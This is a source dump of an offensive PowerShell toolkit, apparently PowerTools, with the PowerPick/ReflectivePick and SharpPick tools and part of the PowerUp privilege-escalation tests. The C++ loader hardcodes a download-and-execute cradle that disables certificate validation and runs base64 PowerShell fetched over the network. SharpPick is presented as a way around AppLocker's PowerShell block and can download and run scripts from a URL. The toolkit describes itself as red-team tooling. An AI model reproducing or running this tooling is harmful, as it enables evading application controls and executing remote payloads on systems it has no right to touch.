(FAILED(hr)) 81 | { 82 | wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr); 83 | goto Cleanup; 84 | } 85 | 86 | if (!fLoadable) 87 | { 88 | wprintf(L".NET runtime v2.0.50727 cannot be loaded\n"); 89 | goto Cleanup; 90 | } 91 | 92 | // Load the CLR into the current process and return a runtime interface 93 | hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, 94 | IID_PPV_ARGS(&pCorRuntimeHost)); 95 | if (FAILED(hr)) 96 | { 97 | wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr); 98 | goto Cleanup; 99 | } 100 | 101 | // Start the CLR. 102 | hr = pCorRuntimeHost->Start(); 103 | if (FAILED(hr)) 104 | { 105 | wprintf(L"CLR failed to start w/hr 0x%08lx\n", hr); 106 | goto Cleanup; 107 | } 108 | 109 | 110 | // Get a pointer to the default AppDomain in the CLR. 111 | hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); 112 | if (FAILED(hr)) 113 | { 114 | wprintf(L"ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr); 115 | goto Cleanup; 116 | } 117 | 118 | hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain)); 119 | if (FAILED(hr)) 120 | { 121 | wprintf(L"Failed to get default AppDomain w/hr 0x%08lx\n", hr); 122 | goto Cleanup; 123 | } 124 | 125 | // Load the .NET assembly. 126 | // (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe) 127 | //hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly); 128 | 129 | // (Option 2) Load the assembly from memory 130 | SAFEARRAYBOUND bounds[1]; 131 | bounds[0].cElements = PowerShellRunner_dll_len; 132 | bounds[0].lLbound = 0; 133 | 134 | SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds); 135 | SafeArrayLock(arr); 136 | memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len); 137 | SafeArrayUnlock(arr); 138 | 139 | hr = spDefaultAppDomain->Load_3(arr, &spAssembly); 140 | 141 | if (FAILED(hr)) 142 | { 143 | wprintf(L"Failed to load the assembly w/hr 0x%08lx\n", hr); 144 | goto Cleanup; 145 | } 146 | 147 | // Get the Type of PowerShellRunner. 148 | hr = spAssembly->GetType_2(bstrClassName, &spType); 149 | if (FAILED(hr)) 150 | { 151 | wprintf(L"Failed to get the Type interface w/hr 0x%08lx\n", hr); 152 | goto Cleanup; 153 | } 154 | 155 | // Call the static method of the class 156 | wchar_t* argument = L"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"))))"; 157 | 158 | //Output debug 159 | //DWORD pid = GetCurrentProcessId(); 160 | //wchar_t msg[100]; 161 | //swprintf_s(msg,L"Powershell running from pid %d!",pid); 162 | //MessageBox(NULL,msg,L"Info",MB_OK); 163 | 164 | InvokeMethod(spType, L"InvokePS", argument); 165 | 166 | Cleanup: 167 | 168 | if (pMetaHost) 169 | { 170 | pMetaHost->Release(); 171 | pMetaHost = NULL; 172 | } 173 | if (pRuntimeInfo) 174 | { 175 | pRuntimeInfo->Release(); 176 | pRuntimeInfo = NULL; 177 | } 178 | if (pCorRuntimeHost) 179 | { 180 | pCorRuntimeHost->Release(); 181 | pCorRuntimeHost = NULL; 182 | } 183 | 184 | return; 185 | } 186 | 187 | void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command) 188 | { 189 | HRESULT hr; 190 | bstr_t bstrStaticMethodName(method); 191 | SAFEARRAY *psaStaticMethodArgs = NULL; 192 | variant_t vtStringArg(command); 193 | variant_t vtPSInvokeReturnVal; 194 | variant_t vtEmpty; 195 | 196 | 197 | psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); 198 | LONG index = 0; 199 | hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg); 200 | if (FAILED(hr)) 201 | { 202 | wprintf(L"SafeArrayPutElement failed w/hr 0x%08lx\n", hr); 203 | return; 204 | } 205 | 206 | // Invoke the method from the Type interface. 207 | hr = spType->InvokeMember_3( 208 | bstrStaticMethodName, 209 | static_cast(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), 210 | NULL, 211 | vtEmpty, 212 | psaStaticMethodArgs, 213 | &vtPSInvokeReturnVal); 214 | 215 | if (FAILED(hr)) 216 | { 217 | wprintf(L"Failed to invoke InvokePS w/hr 0x%08lx\n", hr); 218 | return; 219 | } 220 | else 221 | { 222 | // Print the output of the command 223 | wprintf(vtPSInvokeReturnVal.bstrVal); 224 | } 225 | 226 | 227 | SafeArrayDestroy(psaStaticMethodArgs); 228 | psaStaticMethodArgs = NULL; 229 | } 230 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.h: -------------------------------------------------------------------------------- 1 | 2 | HINSTANCE hAppInstance; -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301} 23 | Win32Proj 24 | ReflectivePosh 25 | ReflectivePick 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | Unicode 32 | 33 | 34 | DynamicLibrary 35 | true 36 | Unicode 37 | 38 | 39 | DynamicLibrary 40 | false 41 | true 42 | Unicode 43 | 44 | 45 | DynamicLibrary 46 | false 47 | true 48 | Unicode 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | true 68 | $(SolutionDir)bin\x86\$(Configuration)\ 69 | $(ProjectName) 70 | $(Platform)\$(Configuration)\ 71 | 72 | 73 | true 74 | $(SolutionDir)bin\x64\$(Configuration)\ 75 | $(ProjectName) 76 | $(Platform)\$(Configuration)\ 77 | 78 | 79 | false 80 | $(SolutionDir)bin\x86\$(Configuration)\ 81 | $(ProjectName)_x86 82 | $(Platform)\$(Configuration)\ 83 | 84 | 85 | false 86 | $(SolutionDir)bin\x64\$(Configuration)\ 87 | $(ProjectName)_x64 88 | $(Platform)\$(Configuration)\ 89 | 90 | 91 | 92 | Use 93 | Level3 94 | Disabled 95 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X86;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 96 | MultiThreaded 97 | 98 | 99 | Windows 100 | true 101 | $(OutDir)$(TargetName)_x86$(TargetExt) 102 | 103 | 104 | 105 | 106 | Use 107 | Level3 108 | Disabled 109 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 110 | MultiThreaded 111 | 112 | 113 | Windows 114 | true 115 | $(OutDir)$(TargetName)_x64$(TargetExt) 116 | 117 | 118 | 119 | 120 | Level3 121 | Use 122 | MinSpace 123 | true 124 | false 125 | WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X86;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 126 | false 127 | MultiThreaded 128 | 129 | 130 | Windows 131 | false 132 | true 133 | true 134 | 135 | 136 | 137 | 138 | Level3 139 | Use 140 | MinSpace 141 | true 142 | true 143 | WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 144 | MultiThreaded 145 | 146 | 147 | Windows 148 | false 149 | true 150 | true 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | false 164 | false 165 | 166 | 167 | 168 | 169 | false 170 | false 171 | 172 | 173 | 174 | 175 | 176 | 177 | NotUsing 178 | NotUsing 179 | NotUsing 180 | NotUsing 181 | 182 | 183 | 184 | Create 185 | Create 186 | Create 187 | Create 188 | 189 | 190 | 191 | 192 | 193 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | 38 | 39 | Source Files 40 | 41 | 42 | Source Files 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "stdafx.h" 3 | #include "ReflectivePick.h" 4 | #include "ReflectiveLoader.h" 5 | #include 6 | 7 | extern HINSTANCE hAppInstance; 8 | 9 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 10 | { 11 | BOOL bReturnValue = TRUE; 12 | switch (dwReason) 13 | { 14 | case DLL_QUERY_HMODULE: 15 | if( lpReserved != NULL ) 16 | *(HMODULE *)lpReserved = hAppInstance; 17 | break; 18 | case DLL_PROCESS_ATTACH: 19 | hAppInstance = hinstDLL; 20 | break; 21 | case DLL_THREAD_ATTACH: 22 | case DLL_THREAD_DETACH: 23 | break; 24 | } 25 | return bReturnValue; 26 | } 27 | 28 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ReflectivePosh.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 11 | // Windows Header Files: 12 | #include 13 | 14 | 15 | 16 | // TODO: reference additional headers your program requires here 17 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/SharpPick/.DS_Store -------------------------------------------------------------------------------- /PowerPick/SharpPick/Program.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * SharpPick aka InexorablePoSH 3 | * Description: Application to load and run powershell code via the .NET assemblies 4 | * License: 3-Clause BSD License. See Veil PowerTools Project 5 | * 6 | * This application is part of Veil PowerTools, a collection of offensive PowerShell 7 | * capabilities. Hope they help! 8 | * 9 | * This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe 10 | */ 11 | 12 | using System; 13 | using System.IO; 14 | using System.Resources; 15 | using System.Collections.Generic; 16 | using System.Linq; 17 | using System.Text; 18 | using System.Net; 19 | 20 | //Adding libraries for powershell stuff 21 | using System.Collections.ObjectModel; 22 | using System.Management.Automation; 23 | using System.Management.Automation.Runspaces; 24 | 25 | 26 | namespace SharpPick 27 | { 28 | class Program 29 | { 30 | static string RunPS(string cmd) 31 | { 32 | //Init stuff 33 | Runspace runspace = RunspaceFactory.CreateRunspace(); 34 | runspace.Open(); 35 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 36 | Pipeline pipeline = runspace.CreatePipeline(); 37 | 38 | //Add commands 39 | pipeline.Commands.AddScript(cmd); 40 | 41 | //Prep PS for string output and invoke 42 | pipeline.Commands.Add("Out-String"); 43 | Collection results = pipeline.Invoke(); 44 | runspace.Close(); 45 | 46 | //Convert records to strings 47 | StringBuilder stringBuilder = new StringBuilder(); 48 | foreach (PSObject obj in results) 49 | { 50 | stringBuilder.Append(obj); 51 | } 52 | return stringBuilder.ToString().Trim(); 53 | } 54 | 55 | static void PrintHelp() 56 | { 57 | Console.Write("InexorablePoSH\n" + 58 | "Workaround for AppLocker deny of Powershell using .NET\n" + 59 | "\n" + 60 | "inexorableposh.exe [ ]\n" + 61 | "flags:\n" + 62 | "-f : Read script from specified file\n" + 63 | "-r : Read script from specified resource\n" + 64 | "-d : Read script from URL\n" + 65 | "-a : Read script appended to current binary after specified delimeter. Delimeter should be very very unique string\n" + 66 | "-c : PowerShell command to execute, enclosed on quotes."); 67 | } 68 | 69 | static int Main(string[] args) 70 | { 71 | string script; 72 | 73 | //Check the options 74 | if (args.Length != 2) 75 | { 76 | Console.WriteLine("[!] Error: Proper arguments required"); 77 | PrintHelp(); 78 | return -1; 79 | } 80 | 81 | //define our flag and argument 82 | string flag = args[0]; 83 | string optarg = args[1]; 84 | 85 | //Check all our options for the flag 86 | //When found right flag, get the script variable in the specified manner 87 | if (flag == "-f") 88 | { 89 | //read file from disk and pass to powershell 90 | try 91 | { 92 | script = System.IO.File.ReadAllText(optarg); 93 | } 94 | catch 95 | { 96 | Console.WriteLine("[!] Error: File Fail"); 97 | return (-1); 98 | } 99 | } 100 | else if (flag == "-r") 101 | { 102 | //Read powershell from resource of a specific name 103 | try 104 | { 105 | script = Properties.Resources.ResourceManager.GetString(optarg); 106 | } 107 | catch 108 | { 109 | Console.WriteLine("[!] Error: Resource Fail"); 110 | return (-1); 111 | } 112 | } 113 | else if (flag == "-d") 114 | { 115 | //download the script 116 | try 117 | { 118 | WebClient psdown = new WebClient(); 119 | script = psdown.DownloadString(optarg); 120 | } 121 | catch 122 | { 123 | Console.WriteLine("[!] Error: Download Fail"); 124 | return (-1); 125 | } 126 | } 127 | else if (flag == "-a") 128 | { 129 | try 130 | { 131 | string self = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; 132 | string selfcontent = System.IO.File.ReadAllText(self); 133 | script = selfcontent.Split(new string[] { optarg }, StringSplitOptions.None)[1]; 134 | } 135 | catch 136 | { 137 | Console.WriteLine("[!] Error: Append Read fail"); 138 | return (-1); 139 | } 140 | } 141 | else if (flag == "-c") 142 | { 143 | try 144 | { 145 | script = optarg; 146 | } 147 | catch 148 | { 149 | Console.WriteLine("[!] Error: Command fail"); 150 | return (-1); 151 | } 152 | } 153 | else 154 | { 155 | Console.WriteLine("[!] Error: Improper flag"); 156 | PrintHelp(); 157 | return (-1); 158 | } 159 | 160 | //We should now have the script variable filled... double check before executing 161 | if (script != null) 162 | { 163 | string results = RunPS(script); 164 | Console.Write(results); 165 | } 166 | return 0; 167 | 168 | } 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("PowerPick")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("PowerPick")] 13 | [assembly: AssemblyCopyright("Copyright © 2014")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("ee46098e-3711-4c27-a61a-9b51cf637346")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace SharpPick.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SharpPick.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized string similar to . 65 | /// 66 | internal static string Script { 67 | get { 68 | return ResourceManager.GetString("Script", resourceCulture); 69 | } 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/SharpPick.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | x86 6 | 8.0.30703 7 | 2.0 8 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C} 9 | Exe 10 | Properties 11 | SharpPick 12 | SharpPick 13 | v4.0 14 | Client 15 | 512 16 | publish\ 17 | true 18 | Disk 19 | false 20 | Foreground 21 | 7 22 | Days 23 | false 24 | false 25 | true 26 | 0 27 | 1.0.0.%2a 28 | false 29 | false 30 | true 31 | 32 | 33 | true 34 | ..\bin\x64\Debug\ 35 | DEBUG;TRACE 36 | full 37 | x64 38 | bin\Debug\PowerPick.exe.CodeAnalysisLog.xml 39 | true 40 | GlobalSuppressions.cs 41 | prompt 42 | MinimumRecommendedRules.ruleset 43 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 44 | false 45 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 46 | false 47 | 48 | 49 | ..\bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | bin\Release\PowerPick.exe.CodeAnalysisLog.xml 55 | true 56 | GlobalSuppressions.cs 57 | prompt 58 | MinimumRecommendedRules.ruleset 59 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 60 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 61 | 62 | 63 | true 64 | ..\bin\x86\Debug\ 65 | TRACE;DEBUG 66 | full 67 | x86 68 | bin\Debug\PowerPick.exe.CodeAnalysisLog.xml 69 | true 70 | GlobalSuppressions.cs 71 | prompt 72 | MinimumRecommendedRules.ruleset 73 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 74 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 75 | 76 | 77 | ..\bin\x86\Release\ 78 | TRACE 79 | true 80 | pdbonly 81 | x86 82 | bin\Release\PowerPick.exe.CodeAnalysisLog.xml 83 | true 84 | GlobalSuppressions.cs 85 | prompt 86 | MinimumRecommendedRules.ruleset 87 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 88 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 89 | 90 | 91 | 92 | 93 | 94 | False 95 | ..\..\..\..\..\..\..\Program Files\Reference Assemblies\Microsoft\WindowsPowerShell\v1.0\System.Management.Automation.dll 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | True 108 | True 109 | Resources.resx 110 | 111 | 112 | 113 | 114 | ResXFileCodeGenerator 115 | Resources.Designer.cs 116 | 117 | 118 | 119 | 120 | False 121 | Microsoft .NET Framework 4 Client Profile %28x86 and x64%29 122 | true 123 | 124 | 125 | False 126 | .NET Framework 3.5 SP1 Client Profile 127 | false 128 | 129 | 130 | False 131 | .NET Framework 3.5 SP1 132 | false 133 | 134 | 135 | False 136 | Windows Installer 3.1 137 | true 138 | 139 | 140 | 141 | 148 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/SharpPick.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | 14 | -f c:\users\sixdub\desktop\test.ps1 15 | 16 | 17 | -f c:\users\sixdub\desktop\test.ps1 18 | 19 | 20 | -f c:\users\sixdub\desktop\test.ps1 21 | 22 | 23 | -f c:\users\sixdub\desktop\test.ps1 24 | 25 | -------------------------------------------------------------------------------- /PowerPick/bin/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/bin/.DS_Store -------------------------------------------------------------------------------- /PowerUp/PowerUp.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerUp/PowerUp.psd1 -------------------------------------------------------------------------------- /PowerUp/PowerUp.psm1: -------------------------------------------------------------------------------- 1 | Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} -------------------------------------------------------------------------------- /PowerUp/README.md: -------------------------------------------------------------------------------- 1 | # PowerTools Is Now Depreciated 2 | 3 | ## PowerUp have moved to the [PowerSploit repository](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) under ./Privesc/ . 4 | -------------------------------------------------------------------------------- /PowerUp/Tests/PowerUp.tests.ps1: -------------------------------------------------------------------------------- 1 | Import-Module -Force "..\PowerUp.ps1" 2 | 3 | 4 | function Get-RandomName { 5 | $r = 1..8 | ForEach-Object{Get-Random -max 26} 6 | return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '') 7 | } 8 | 9 | 10 | ######################################################## 11 | # 12 | # Helpers 13 | # 14 | ######################################################## 15 | 16 | Describe 'Get-ModifiableFile' { 17 | 18 | It 'Should output a file path.' { 19 | $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" 20 | $Null | Out-File -FilePath $FilePath -Force 21 | 22 | $Output = Get-ModifiableFile -Path $FilePath 23 | $Output | Should Be $FilePath 24 | 25 | Remove-Item -Path $FilePath -Force 26 | } 27 | 28 | It 'Should extract a modifiable file specified as an argument in a command string.' { 29 | $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" 30 | $Null | Out-File -FilePath $FilePath -Force 31 | 32 | $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" 33 | 34 | $Output = Get-ModifiableFile -Path $FilePath 35 | $Output | Should Be $FilePath 36 | 37 | Remove-Item -Path $FilePath -Force 38 | } 39 | 40 | It 'Should return no results for a non-existent path.' { 41 | $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" 42 | 43 | $Output = Get-ModifiableFile -Path $FilePath 44 | $Output | Should BeNullOrEmpty 45 | } 46 | 47 | It 'Should accept a Path over the pipeline.' { 48 | $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" 49 | 50 | $Output = Get-ModifiableFile -Path $FilePath 51 | $Output | Should BeNullOrEmpty 52 | } 53 | } 54 | 55 | 56 | ######################################################## 57 | # 58 | # Service enumeration 59 | # 60 | ######################################################## 61 | 62 | Describe 'Get-ServiceUnquoted' { 63 | 64 | It "Should not throw." { 65 | {Get-ServiceUnquoted} | Should Not Throw 66 | } 67 | 68 | It 'Should return service with a space in an unquoted binPath.' { 69 | $ServiceName = Get-RandomName 70 | $ServicePath = "C:\Program Files\service.exe" 71 | 72 | sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" 73 | Start-Sleep -Seconds 1 74 | 75 | $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } 76 | sc.exe delete $ServiceName | Should Match "SUCCESS" 77 | 78 | $Output | Should Not BeNullOrEmpty 79 | $Output.ServiceName | Should Be $ServiceName 80 | $Output.Path | Should Be $ServicePath 81 | } 82 | 83 | It 'Should not return services with a quoted binPath.' { 84 | $ServiceName = Get-RandomName 85 | $ServicePath = "'C:\Program Files\service.exe'" 86 | 87 | sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" 88 | Start-Sleep -Seconds 1 89 | 90 | $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } 91 | sc.exe delete $ServiceName | Should Match "SUCCESS" 92 | 93 | $Output | Should BeNullOrEmpty 94 | } 95 | } 96 | 97 | 98 | Describe 'Get-ServiceFilePermission' { 99 | 100 | It 'Should not throw.' { 101 | {Get-ServiceFilePermission} | Should Not Throw 102 | } 103 | 104 | It 'Should return a service with a modifiable service binary.' { 105 | $ServiceName = Get-RandomName 106 | $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" 107 | $Null | Out-File -FilePath $ServicePath -Force 108 | 109 | sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" 110 | 111 | $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } 112 | sc.exe delete $ServiceName | Should Match "SUCCESS" 113 | 